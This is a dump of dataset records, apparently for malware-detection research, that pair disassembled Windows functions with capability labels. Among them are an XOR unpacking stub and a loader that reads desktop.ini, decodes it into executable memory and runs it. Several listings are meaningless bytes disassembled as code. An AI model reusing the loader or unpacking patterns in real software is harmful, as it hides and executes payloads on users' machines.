joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408570
Capabilities:
Encode data using xor

Disassembly:
jo 0x408599
enter 0xffffffffffffa901, 0xffffffffffffffb1
cmp eax, 0xb59953a5
pop esi
popal
loop 0x4085e5
push ebx
mov al, 0x34
out dx, al
xor cl, byte [ebx + 0x2e494e82]
sub byte [eax], al
invalid
out 0x2a, eax
dec byte [esp + eax*4 - 0x668f6789]
push ebx
movd mm2, dword [esi - 0x4c]
or dword [ebx - 0x601e5b0f], edi
push 0xffffffffffffff8a
arpl word [ecx], dx
and ch, ch
adc byte [edx + 0x60], bh
jno 0x408604
leave
ja 0x4085c3
invalid
xchg byte [eax - 0x5c], cl
pop esi
cmp dh, al
and al, 0x6c
lea edx, [edi + 0x47]
or edi, ecx
invalid
mov dword [esi - 0x57], 0x737865fc
mov edi, 0xa024418
cmp al, 0xbb
mov eax, dword [0x324fc19b]
push cs
or al, 0x18
and edx, dword [ebx]
push ebx
jbe 0x408656
adc edx, dword [ebx + 0x76]
push ebp
rcl byte [edi + 0x32], 0x58
pop eax
outsd dx, dword [esi]
and byte [ecx - 0x3605417a], 0x9a
rcl dword [ecx + 0x32], 0x64
outsd dx, dword [esi]
xor al, 0xa1
mov dword [edi - 0x28e56950], esi
jg 0x4085fd
in al, 0xee
dec ebx
pop edx
cmp esp, esp
sal byte [edx + 0x69], cl
pop es
xor eax, 0x3a392621
das
call 0xf03b0564
sbb dword [edx], ebx
invalid
dec eax
xchg ebp, eax
dec esi
pop ebx
pop es
pop ebp
add al, 0x84
cli
cmp ax, 0x8037
push ebx
jo 0x4086af
cmp byte [ebx + 0x605393f], dh
hlt
out 0x74, eax
cmp eax, 0x26c320e8
push esi
scasd eax, dword es:[edi]
insd dword es:[edi], dx
lea ecx, [edx]
invalid

Function at 0x408ed0
Capabilities:
Encode data using xor

Disassembly:
cmp eax, 0x73c956f8
mov ecx, 0x7768c5b4
add dword [ebx], ebp
and edi, dword ds:[eax + ecx + 0x10]
cmp byte es:[ecx + 1], al
push esp
mov ch, 0x2c
test eax, 0x8b84aa7a
sub ah, cl
mov byte [0x9432f9dd], al
mov cl, 0xff
mov bl, 0x73
xchg edi, eax
xor dl, byte [ecx + esi*4 - 0x688c4c01]
ja 0x408ef2
cmp al, 0x3b
retf 0x5b9e

Function at 0x40fc00
Capabilities:
Encode data using xor

Disassembly:
mov al, 0x8b
push cs
loop 0x40fc45
aam 0x67
sar byte [ebp + 0x618e70bf], 1
jno 0x40fc73
mov edi, dword [ebp + 0x38]
sbb byte [ecx - 0x6a], al
jmp 0x40fc22
jo 0x40fc58
or dword [eax + 0x536e305a], edi
invalid
sti
push ebx
mov bh, 0xcc
mov edi, 0xedb9a8
and al, 0x84
ret 0x8964
fstp dword [ecx]
imul edi, dword [edi + 0xdb96391], 0x6b
daa
mov fs, word [eax - 0x17]
or eax, 0xb89981c6
imul ecx, dword [ecx - 0x12], 0x67
xchg ebx, eax
shl dword [esi - 0x1e], 1
adc dword [ecx], ebx
xor eax, 0x9ecb0233
sbb dword [0x9ecb0233], esi
out dx, eax
xchg byte [esi - 0x6ec7d9a9], bl
stc
sbb eax, 0x5e1ae964
nop
invalid
Function at 0x424830
Capabilities:
Encode data using xor

Disassembly:
test al, 0xed
imul esi, esp, 0xf2e5206f
mov esi, 0x8c4d0adb
leave
aad 0x5e
inc ebp
xor dword [esi - 0x73], ebx
fst dword [edx]
xchg byte [ebp - 0x2a30e20b], ah
fadd dword [ebx + 0x559e6d33]
cmp byte [edx], 7
stc
pop ecx
sbb edx, ebp
adc byte [eax], dh
xchg edi, eax
mov dh, 0x88
or esi, dword [ecx + 0x27]
fnsave dword [ecx + 0x32d296b5]
cwde
fsubr dword [esi]
xchg dword [eax - 0xf076d31], ebx
in al, dx
invalid
xchg ecx, eax
adc esp, dword [edx + 0x342c7519]
fiadd word [ebp + 0x1092ebc]
fist word [ebp + 0x23]
xchg ecx, eax
les edx, [eax]
inc edx
fist word [esp]
inc ecx
js 0x4247d1
dec ebx
and edx, 0x714e10
scasb al, byte es:[edi]
pop es
jb 0x424884
xchg ebp, eax
lodsd eax, dword [esi]
jo 0x42485a
sub al, 0xb3
outsb dx, byte [esi]
in al, dx
pop esp
arpl word [edx - 0x19], bp
invalid
loope 0x4248ae
clc
sbb byte gs:[esp + esi*2 + 0x62], dh
idiv ch
cmp edx, dword [edx + esi*4 + 0x50]
xchg esp, eax
dec ebx
inc ebx
jge 0x4248e3
and eax, 0x390d450d
push ss
jp 0x4248ad
mov esp, 0x6308ae82
ror dword [edi - 0x50cf0dbd], cl
sbb dword [ebx], ecx
cmc
cmpsb byte [esi], byte es:[edi]
stosd dword es:[edi], eax
daa
xchg ebx, eax
mov esp, 0xe0fdf6c3
jp 0x4248b0
cmp dword [ebp + ecx - 0x50], ebx
imul esi, dword [ebx + edx*8 - 0x62], 0xffffff8d
sub al, 0x30
cmp al, 0x7e
retf 0x4b5a
invalid

Function at 0x424b4c
Capabilities:
Encode data using xor

Disassembly:
mov bl, 0x75
xor dword [edx - 0x38], esi
or eax, 0xae9c2525
and eax, 0x30ae9c25
mov ebp, dword [edx - 0x3521ffd1]
js 0x424b74
and eax, 0x30ae9c25
mov ebp, dword [edx - 0x3521ffd1]
js 0x424b74
movsb byte es:[edi], byte [esi]
pop eax
jne 0x424b46
cmp ebp, dword [edi + 0x41]
outsd dx, dword [esi]
xor al, 0xea
mov eax, 0x3baf0b73
and byte [edi + 0x13], al
or dword [ebx - 0x27764e8f], esi
inc esi
push ds
mov cl, 0x89
fadd dword [esi + 0x1e]
mov eax, dword [0x3d7eb769]
pop ebp
mov dl, 0x89
test byte [edx + ebp*2], dh
imul esi, dword [edi - 0x4da2c282], 0x6a348489
adc dh, byte [edi + 0x8ab3bac]
dec ebp
and edx, dword [esi + ebx*2 + 0x616f2d07]
xchg byte [esi - 0xf069e5a], bl
mov dh, 0x85
xchg esi, eax
push 0xffffffffffffffd5
xchg ebx, eax
clc
mov ah, byte [ecx + 0x53e9532f]
pop ecx
dec esp
mov edx, 0x87090a04
cdq
push 0xffffffffffffff85
jle 0x424b6e
jmp 0x424bea
sub dword [ebp - 0x33965b86], eax
sbb al, byte [ecx]
mov ah, 0xd6
invalid
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x27f871f8
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..rsrc
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x13067b72
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x10008e10
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x154
mov eax, dword [0x10049200]
xor eax, esp
mov dword [esp + 0x150], eax
push ebx
push ebp
mov ebp, dword [esp + 0x160]
mov ecx, 0x41
push esi
push edi
lea edi, [esp + 0x5c]
mov dword [esp + 0x18], ebp
lea esi, [ebp + 0x1b2]
or ebx, 0xffffffff
rep movsd dword es:[edi], dword [esi]
mov al, byte [esp + 0x5c]
lea ecx, [esp + 0x5c]
xor edx, edx
test al, al
je 0x10008e82
mov ah, al
cmp al, 0x5c
je 0x10008e67
cmp al, 0x2f
je 0x10008e67
cmp al, 0x2e
jne 0x10008e69
mov edx, ecx
jmp 0x10008e69
xor edx, edx
movzx eax, ah
inc ecx
movsx eax, byte [eax + 0x1004bbc0]
add ecx, eax
mov ah, byte [ecx]
mov al, ah
test al, al
jne 0x10008e57
test edx, edx
jne 0x10008e84
mov edx, ecx
lea eax, [edx + 4]
lea ecx, [esp + 0x160]
cmp eax, ecx
jb 0x10008e9c
mov eax, 0xfffffc01
jmp 0x10009023
mov edi, dword [esp + 0x16c]
mov byte [eax], 0
xor eax, eax
test edi, edi
mov dword [edx], 0x62646c2e
sete al
mov dword [esp + 0x14], eax
lea eax, [esp + 0x10]
push eax
push 0x42
lea eax, [esp + 0x64]
push eax
call fcn.1003ab70
mov esi, eax
test esi, esi
jns 0x10008f29
mov edi, edi
cmp esi, 0xfffff8ed
jne 0x10008f7b
cmp dword [esp + 0x14], 0
jne 0x10008fc8
lea eax, [esp + 0x10]
push eax
push 0x8000
lea eax, [esp + 0x64]
push eax
call fcn.1003ab70
mov esi, eax
test esi, esi
js 0x10008f7b
push dword [esp + 0x10]
call fcn.1003a8b0
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 1
push eax
push 0x42
lea eax, [esp + 0x64]
push eax
call fcn.1003ab70
mov esi, eax
test esi, esi
js 0x10008ed0
test edi, edi
je 0x10009014
call sub.KERNEL32.dll_GetTickCount
mov ebp, eax
jmp 0x10008f40
mov ebx, 1
cmp byte [edi + ebx + 0x700], 0
jne 0x10008f6b
push 1
lea eax, [ebx + 0x10000000]
push eax
push dword [esp + 0x18]
call fcn.1003aac0
mov esi, eax
cmp esi, 0xfffffbff
jne 0x10008f8b
inc ebx
lea eax, [ebx + 0x10000000]
cmp eax, 0x10000100
jb 0x10008f45
jmp 0x10008f93
cmp esi, 0xfffffbf8
jne 0x10008fc8
lea eax, [esi + 1]
jmp 0x10009023
cmp ebx, 0x100
jb 0x10008fbb
call sub.KERNEL32.dll_GetTickCount
sub eax, ebp
cmp eax, 0x1388
jb 0x10008f40
cmp ebx, 0x100
jb 0x10008fbb
push dword [esp + 0x10]
mov esi, 0xfffffbdd
call fcn.1003a8b0
mov eax, esi
jmp 0x10009023
test esi, esi
je 0x10008fcc
push dword [esp + 0x10]
call fcn.1003a8b0
mov eax, esi
jmp 0x10009023
lea eax, [esp + 0x1c]
push eax
call fcn.1003aa90
movzx ecx, byte [esp + 0x1c]
xor edx, edx
test eax, eax
mov byte [esp + 0x3b], dl
lea eax, [esp + 0x3c]
push eax
mov eax, dword [0x1006c724]
cmovne ecx, edx
mov byte [esp + 0x20], cl
push dword [eax]
call fcn.1003db30
lea eax, [esp + 0x1c]
push eax
push ebx
push dword [esp + 0x18]
call fcn.1003adf0
mov esi, eax
test esi, esi
js 0x10008fbf
mov ebp, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
mov dword [ebp + 4], eax
xor eax, eax
mov byte [ebp + 0x128], bl
mov ecx, dword [esp + 0x160]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1003de00
add esp, 0x154
ret 8
Function at 0x100192a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xc
lea eax, [esp + 8]
mov dword [esp + 4], 0
push eax
push dword [esp + 0x1c]
push dword [esp + 0x28]
push dword [esp + 0x20]
call fcn.10019680
test eax, eax
js 0x10019355
mov eax, dword [esp + 0x10]
push ebx
push ebp
mov ebp, dword [esp + 0x30]
xor ebx, ebx
cmp ebp, dword [eax + 0x78]
lea eax, [esp + 8]
push esi
push edi
mov edi, dword [esp + 0x18]
sete bl
push eax
lea eax, [esp + 0x34]
push eax
push edi
call fcn.10010ca0
mov esi, eax
test esi, esi
js 0x10019344
mov eax, dword [esp + 0x30]
test eax, eax
je 0x10019375
lea ecx, [esp + 0x28]
push ecx
push ebp
push eax
call fcn.1000e470
test eax, eax
je 0x1001931e
test ebx, ebx
je 0x10019316
add eax, 2
mov ecx, dword [esp + 0x2c]
cmp byte [eax], cl
je 0x1001935b
push 0
push 0
push edi
call fcn.100111f0
mov esi, eax
test esi, esi
js 0x10019344
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x34]
push eax
push edi
call fcn.10010ca0
mov esi, eax
test esi, esi
jns 0x100192f7
push edi
call fcn.10011fa0
test eax, eax
pop edi
cmovs esi, eax
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 0x20
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push dword [edi + 0xc]
push dword [esp + 0x34]
call fcn.1002a690
mov esi, eax
test esi, esi
js 0x10019344
push edi
call fcn.10011fa0
mov esi, eax
test esi, esi
js 0x10019344
mov ecx, dword [esp + 0x3c]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov dword [ecx], eax
xor eax, eax
pop ebx
add esp, 0xc
ret 0x20
Function at 0x1001d5b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
lea eax, [esp]
push ebx
mov ebx, dword [esp + 0x28]
push ebp
mov ebp, dword [esp + 0x30]
push esi
push edi
push eax
push dword [ebx + 0x78]
push ebp
call fcn.1000e470
mov edi, dword [eax]
lea eax, [esp + 0x10]
push eax
push dword [ebx + 0x64]
push ebp
call fcn.1000e470
movzx esi, byte [eax]
lea eax, [esp + 0x10]
push eax
push dword [ebx + 0x68]
push ebp
call fcn.1000e470
cmp esi, 0xa
je 0x1001d601
cmp esi, 0xc
je 0x1001d601
mov dword [esp + 0x34], 0x400
jmp 0x1001d634
lea eax, [esp + 0x10]
push eax
push dword [ebx + 0x7c]
push ebp
call fcn.1000e470
mov edx, 0x481
mov ecx, 0x411
movzx eax, word [eax]
cmp ax, dx
cmove eax, ecx
mov dword [esp + 0x34], eax
lea eax, [esp + 0x10]
push eax
push dword [ebx + 0x60]
push ebp
call fcn.1000e470
push dword [ebx + 0x6c]
push ebp
call fcn.1000e400
push dword [ebx + 0x70]
mov dword [esp + 0x3c], eax
push ebp
call fcn.1000e400
push dword [ebx + 0x74]
mov dword [esp + 0x18], eax
push ebp
call fcn.1000e400
mov ecx, dword [esp + 0x34]
mov edx, esi
movzx ecx, cx
mov ebx, eax
mov dword [esp + 0x24], ecx
mov ecx, edx
shl ecx, 0xc
or ecx, edi
mov dword [esp + 0x18], 0x18
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], ecx
cmp esi, 0xc
je 0x1001d6a8
cmp esi, 0xb
je 0x1001d6a8
cmp esi, 1
jne 0x1001d692
mov dword [esp + 0x28], esi
jmp 0x1001d6b0
mov eax, edi
shr eax, 0x18
mov dword [esp + 0x28], eax
cmp edx, 0xa
jne 0x1001d6b0
add eax, eax
mov dword [esp + 0x28], eax
jmp 0x1001d6b0
mov dword [esp + 0x28], 0
xor ecx, ecx
mov eax, 0x20
cmp dword [esp + 0x3c], ecx
cmovne eax, ecx
and edi, 0xfff
mov dword [esp + 0x2c], eax
cmp edi, 0x7d1
jbe 0x1001d6d7
or eax, 1
mov dword [esp + 0x2c], eax
cmp dword [esp + 0x38], ecx
je 0x1001d6e4
or eax, 0x10
mov dword [esp + 0x2c], eax
cmp dword [esp + 0x14], ecx
je 0x1001d6f1
or eax, 4
mov dword [esp + 0x2c], eax
pop edi
pop esi
pop ebp
test ebx, ebx
pop ebx
je 0x1001d700
or eax, 8
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x34]
mov ecx, 0x18
cmp eax, ecx
cmova eax, ecx
push eax
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x38]
call fcn.1003e4e0
xor eax, eax
add esp, 0x2c
ret 0x14
Function at 0x1001dd00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x438
mov eax, dword [0x10049200]
xor eax, esp
mov dword [esp + 0x434], eax
mov ecx, dword [esp + 0x44c]
mov eax, dword [esp + 0x444]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x44c]
mov dword [esp + 0x1c], ecx
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0x18], eax
push dword [edi + 0x78]
push eax
call fcn.1000e470
mov ebx, dword [eax]
lea eax, [esp + 0x10]
push eax
push dword [edi + 0x64]
push dword [esp + 0x1c]
call fcn.1000e470
movzx esi, byte [eax]
lea eax, [esp + 0x10]
push eax
push dword [edi + 0x68]
push dword [esp + 0x1c]
call fcn.1000e470
cmp esi, 0xa
je 0x1001dd7b
cmp esi, 0xc
je 0x1001dd7b
mov ebp, 0x400
jmp 0x1001ddb0
lea eax, [esp + 0x10]
push eax
push dword [edi + 0x7c]
push dword [esp + 0x1c]
call fcn.1000e470
mov ecx, 0x481
movzx ebp, word [eax]
mov eax, 0x411
cmp bp, cx
cmove ebp, eax
lea eax, [esp + 0x10]
push eax
push dword [edi + 0x60]
push dword [esp + 0x1c]
call fcn.1000e470
push dword [edi + 0x6c]
push dword [esp + 0x18]
call fcn.1000e400
push dword [edi + 0x70]
mov dword [esp + 0x24], eax
push dword [esp + 0x18]
call fcn.1000e400
push dword [edi + 0x74]
mov dword [esp + 0x1c], eax
push dword [esp + 0x18]
call fcn.1000e400
movzx ecx, bp
mov edx, esi
mov dword [esp + 0x38], ecx
mov ecx, edx
shl ecx, 0xc
or ecx, ebx
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], 0x418
mov dword [esp + 0x34], edx
mov dword [esp + 0x30], ecx
cmp esi, 0xc
je 0x1001de2b
cmp esi, 0xb
je 0x1001de2b
cmp esi, 1
jne 0x1001de15
mov dword [esp + 0x3c], esi
jmp 0x1001de33
mov eax, ebx
shr eax, 0x18
mov dword [esp + 0x3c], eax
cmp edx, 0xa
jne 0x1001de33
add eax, eax
mov dword [esp + 0x3c], eax
jmp 0x1001de33
mov dword [esp + 0x3c], 0
xor ecx, ecx
mov eax, 0x20
cmp dword [esp + 0x458], ecx
cmovne eax, ecx
and ebx, 0xfff
mov dword [esp + 0x40], eax
cmp ebx, 0x7d1
jbe 0x1001de5d
or eax, 1
mov dword [esp + 0x40], eax
cmp dword [esp + 0x20], ecx
je 0x1001de6a
or eax, 0x10
mov dword [esp + 0x40], eax
cmp dword [esp + 0x18], ecx
je 0x1001de77
or eax, 4
mov dword [esp + 0x40], eax
cmp dword [esp + 0x24], ecx
je 0x1001de84
or eax, 8
mov dword [esp + 0x40], eax
lea eax, [esp + 0x10]
push eax
push dword [edi + 0x80]
push dword [esp + 0x1c]
call fcn.1000e470
movzx esi, word [esp + 0x10]
push esi
push eax
lea eax, [esp + 0x24c]
push eax
call fcn.1003e4e0
add esp, 0xc
mov byte [esp + esi + 0x244], 0
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x18]
push eax
movzx eax, word [edi + 0xea]
push 0
push 0
push eax
push dword [esp + 0x464]
push dword [edi + 0x10c]
call fcn.10018fc0
test eax, eax
js 0x1001df2f
lea eax, [esp + 0x10]
push eax
push dword [edi + 0x50]
push dword [esp + 0x1c]
call fcn.1000e470
movzx esi, word [esp + 0x10]
push esi
push eax
lea eax, [esp + 0x4c]
push eax
call fcn.1003e4e0
mov eax, dword [esp + 0x46c]
mov ecx, 0x418
cmp eax, ecx
mov byte [esp + esi + 0x50], 0
cmova eax, ecx
push eax
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x30]
call fcn.1003e4e0
add esp, 0x18
xor eax, eax
mov ecx, dword [esp + 0x444]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1003de00
add esp, 0x438
ret 0x18
Function at 0x1001df50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x5c
mov eax, dword [0x10049200]
xor eax, esp
mov dword [esp + 0x58], eax
mov edx, dword [esp + 0x6c]
xor eax, eax
push ebx
mov ebx, dword [esp + 0x78]
push ebp
mov ebp, dword [esp + 0x6c]
push esi
push edi
mov edi, dword [esp + 0x8c]
or esi, 0xffffffff
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0xffffffff
cmp edi, 5
je 0x1001e16a
cmp edi, 6
ja 0x1001e16a
mov ecx, dword [ebp + 0x110]
mov dword [esp + 0x14], ecx
cmp edi, 1
je 0x1001dfb5
cmp edi, 2
je 0x1001dfb5
lea ecx, [eax + 1]
jmp 0x1001dfb7
xor ecx, ecx
test edx, edx
je 0x1001e04a
cmp byte [edx], al
je 0x1001e04a
cmp edi, 6
je 0x1001e052
test ecx, ecx
je 0x1001e16a
push edx
lea eax, [esp + 0x28]
push eax
call fcn.10018e30
mov ecx, eax
test ecx, ecx
jne 0x1001e003
pop edi
pop esi
pop ebp
mov eax, 0xfffffa1d
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.1003de00
add esp, 0x5c
ret 0x20
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
push 0
lea eax, [esp + 0x24]
push eax
movzx eax, word [ebp + 0xec]
push eax
push ecx
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x94]
push dword [esp + 0x34]
call fcn.100190f0
mov esi, eax
test esi, esi
js 0x1001e16f
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x1001dfe9
mov edx, dword [esp + 0x10]
jmp 0x1001e052
test ecx, ecx
jne 0x1001e16a
jmp dword [edi*4 + 0x1001e184]
mov eax, 0xfffffc15
mov ecx, dword [esp + 0x68]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1003de00
add esp, 0x5c
ret 0x20
Function at 0x1001ea80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x7c
mov eax, dword [0x10049200]
xor eax, esp
mov dword [esp + 0x78], eax
mov edx, dword [esp + 0x8c]
push ebp
mov ebp, dword [esp + 0x98]
push esi
mov esi, dword [esp + 0x88]
push edi
mov edi, dword [esp + 0x90]
test edi, edi
je 0x1001eaf0
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, word [esi + 0xea]
push 0
push 0
push eax
mov eax, dword [edi + 0x10]
push dword [eax + 0x18]
push dword [esi + 0x10c]
call fcn.10018fc0
test eax, eax
jns 0x1001eb54
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x78]
xor ecx, esp
call fcn.1003de00
add esp, 0x7c
ret 0x1c
mov ecx, edx
push ebx
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001eaf6
sub ecx, ebx
pop ebx
cmp ecx, 0x40
ja 0x1001ec6a
push edx
lea eax, [esp + 0x44]
push eax
call fcn.10018e30
mov ecx, eax
test ecx, ecx
je 0x1001ec6a
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
movzx eax, word [esi + 0xe8]
push 0
push 0
push eax
push ecx
lea eax, [esp + 0x58]
push eax
push dword [esp + 0xb0]
push dword [esi + 0x10c]
call fcn.100190f0
test eax, eax
js 0x1001ec6f
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1001ec6a
lea ecx, [esp + 0xc]
xorps xmm0, xmm0
push ecx
push dword [esi + 0x48]
movdqu xmmword [esp + 0x20], xmm0
push eax
movdqu xmmword [esp + 0x34], xmm0
mov dword [esp + 0x24], 0x28
movq qword [esp + 0x44], xmm0
call fcn.1000e470
test eax, eax
je 0x1001eb95
mov eax, dword [eax]
mov dword [esp + 0x34], eax
test edi, edi
je 0x1001ebae
test byte [edi + 0x65], 8
mov eax, 6
mov ecx, 7
cmove eax, ecx
mov dword [esp + 0x30], eax
lea eax, [esp + 0xc]
push eax
push dword [esi + 0x40]
push dword [esp + 0x18]
call fcn.1000e470
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x24], eax
lea eax, [esp + 0xc]
push eax
push dword [esi + 0x44]
mov dword [esp + 0x28], ecx
push dword [esp + 0x18]
call fcn.1000e470
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0xc]
push eax
push dword [esi + 0x5c]
mov dword [esp + 0x30], ecx
push dword [esp + 0x18]
call fcn.1000e470
movzx edi, word [eax]
lea eax, [esp + 0xc]
push eax
push dword [esi + 0x4c]
mov dword [esp + 0x24], edi
push dword [esp + 0x18]
call fcn.1000e470
cmp dword [esp + 0x9c], 0
jne 0x1001ec34
cmp edi, 1
jne 0x1001ec34
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x3c]
push ecx
push dword [eax]
push esi
call fcn.10021430
mov eax, dword [esp + 0xa4]
mov ecx, 0x28
cmp eax, ecx
cmova eax, ecx
push eax
lea eax, [esp + 0x1c]
push eax
push ebp
call fcn.1003e4e0
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x78]
xor ecx, esp
call fcn.1003de00
add esp, 0x7c
ret 0x1c
mov eax, 0xfffffae7
mov ecx, dword [esp + 0x84]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.1003de00
add esp, 0x7c
ret 0x1c
Function at 0x1001f670
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x5c
mov eax, dword [0x10049200]
xor eax, esp
mov dword [esp + 0x58], eax
mov eax, dword [esp + 0x6c]
push ebx
push ebp
mov ebp, dword [esp + 0x78]
push esi
push edi
mov edi, dword [esp + 0x74]
push eax
lea eax, [esp + 0x28]
push eax
call fcn.10018e30
mov ecx, eax
test ecx, ecx
jne 0x1001f6a9
mov esi, 0xfffffc13
jmp 0x1001f795
mov ebx, dword [edi + 0x114]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x18]
push eax
push 0
lea eax, [esp + 0x24]
push eax
movzx eax, word [edi + 0xee]
push eax
push ecx
lea eax, [esp + 0x3c]
push eax
push dword [esp + 0x94]
push ebx
call fcn.100190f0
mov esi, eax
test esi, esi
js 0x1001f795
mov eax, dword [esp + 0x14]
test eax, eax
je 0x1001f69f
lea ecx, [esp + 0x1c]
push ecx
push dword [edi + 0xbc]
push eax
call fcn.1000e470
test eax, eax
jne 0x1001f710
push ebx
push edi
call fcn.1002b1e0
mov esi, eax
jmp 0x1001f795
cmp byte [eax], 1
jne 0x1001f69f
push 0
push ebx
call fcn.100127f0
mov edi, eax
test edi, edi
jne 0x1001f72a
mov esi, 0xfffffc0b
jmp 0x1001f795
lea eax, [edi + 0x18]
push eax
push dword [esp + 0x1c]
push 0xff
push ebx
call fcn.100108c0
mov esi, eax
test esi, esi
js 0x1001f78a
or byte [edi + 0x65], 0x10
lea eax, [esp + 0x10]
push 0x100027e8
push edi
push eax
mov eax, dword [0x1006c2a4]
push dword [esp + 0x7c]
mov eax, dword [eax + 0x24]
call eax
mov esi, eax
test esi, esi
js 0x1001f78a
mov eax, dword [esp + 0x10]
mov dword [edi], eax
mov eax, dword [esp + 0x10]
pop edi
pop esi
mov dword [ebp], eax
xor eax, eax
pop ebp
pop ebx
mov ecx, dword [esp + 0x58]
xor ecx, esp
call fcn.1003de00
add esp, 0x5c
ret 0x14
push edi
call fcn.10012060
test eax, eax
cmovs esi, eax
mov ecx, dword [esp + 0x68]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1003de00
add esp, 0x5c
ret 0x14